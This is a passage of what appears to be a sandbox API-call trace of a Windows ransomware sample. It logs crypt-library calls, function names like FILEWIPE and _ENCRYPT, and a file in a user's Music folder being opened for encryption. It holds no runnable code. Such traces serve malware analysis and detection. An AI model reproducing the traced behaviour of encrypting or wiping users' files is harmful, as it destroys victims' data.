lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.386] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.386] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.386] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.386] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.386] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.386] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.386] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.386] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.386] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.386] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0027.387] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.387] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.387] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.387] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.387] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.387] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.387] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.388] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.388] CharLowerBuffW (in: lpsz="byte[4707]", cchLength=0xa | out: lpsz="byte[4707]") returned 0xa [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.388] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.388] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.388] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.388] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.389] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.389] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.389] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.389] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.389] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.389] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.389] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.389] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.389] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.389] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.389] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.389] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.390] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.390] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.390] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.390] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.390] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.390] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.390] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.390] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.390] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.390] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.390] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.390] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.391] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.391] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.391] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.391] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.391] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.391] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.391] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.391] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.391] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.391] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7449) returned 1 [0027.391] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.391] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.391] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.391] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1d19, lpOverlapped=0x0) returned 1 [0027.392] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.392] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x1d19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.392] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7449) returned 1 [0027.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\qKmEzET2RW9J4.encrypted.wav\r\n", cchWideChar=74, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 74 [0027.392] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\qKmEzET2RW9J4.encrypted.wav\r\n", cchWideChar=74, lpMultiByteStr=0xe8f406a3d0, cbMultiByte=74, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\qKmEzET2RW9J4.encrypted.wav\r\n", lpUsedDefaultChar=0x0) returned 74 [0027.392] WriteFile (in: hFile=0x188, lpBuffer=0xe8f406a1f0*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a1f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x49, lpOverlapped=0x0) returned 1 [0027.392] CloseHandle (hObject=0x188) returned 1 [0027.393] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.393] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.393] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.393] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.393] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.393] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.393] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.394] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.394] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.395] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41789a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.395] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.mp3", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0027.395] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.mp3", cchWideChar=55, lpMultiByteStr=0xe8f404ba10, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.mp3", lpUsedDefaultChar=0x0) returned 55 [0027.395] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\v5iko1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0027.395] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=55, lpWideCharStr=0xe8f4065870, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\v5IkO1.mp3") returned 55 [0027.396] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.396] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.396] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.397] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.397] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.397] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.397] CloseHandle (hObject=0x188) returned 1 [0027.397] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.397] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.397] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.398] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.398] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.398] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.398] PeekMessageW (in: lpMsg=0xe8f3dff160, 